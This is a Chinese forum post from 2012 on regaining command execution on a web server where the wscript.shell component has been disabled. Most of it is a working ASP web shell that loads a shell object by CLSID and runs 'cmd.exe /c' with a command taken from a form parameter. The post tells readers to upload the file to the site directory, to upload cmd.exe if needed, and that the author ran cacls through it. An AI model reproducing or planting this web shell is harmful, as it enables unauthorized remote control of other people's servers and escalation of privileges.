找回密码
 立即注册
查看: 2688|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
4 V+ D: i* X" v$ r8 i1 e6 P一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。$ s! Q/ j# K& ~4 Q' I
要想让运行命令可以试试这种方法,成功率为五五之数。- J7 Y; @- ]) ]2 I  @/ V/ B
把下面代码复制:
6 E, }  R) S4 Z# Z" E<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
4 q  x2 S' l, s" S) u9 W$ u* j" i<%if err then%>5 \, x  o1 s6 @5 T; e+ L
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>( [9 {; r4 z4 Y$ g" M: f; ~' v# M& ^
<%+ [8 H9 n( W. {1 k6 z4 ~
end if/ k/ ~2 Q8 d" ~+ b) K5 c
response.write("<textarea readonly cols=80 rows=20>")
& E% L8 Y$ _4 G) d  N( v& GOn Error Resume Next8 p9 }. J2 N- Q$ k3 O) M' g
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
% r! _, w! h7 }$ p% \$ qresponse.write("</textarea>")5 C6 R7 `, c0 I$ Y; a
response.write("<form method='post'>")+ ~$ x5 j2 P! ~* ?2 S
response.write("<input type=text name='c' size=60><br>")
  m, E7 A+ N8 g; aresponse.write("<input type=submit value='执行'></form>")+ x6 [. q% H; b5 j8 b' P
%>
) V6 g0 x2 _4 m  z( m+ E* _3 E8 A# y: V! k
保存为一个asp文件,然后传到网站目录上去4 z! m/ G4 m' K% m+ f
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。% s2 u, [* q+ {* [* d
我用此成功运行过cacls命令。2 L, \7 Q* y! x

2 y7 `4 r2 p2 k第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表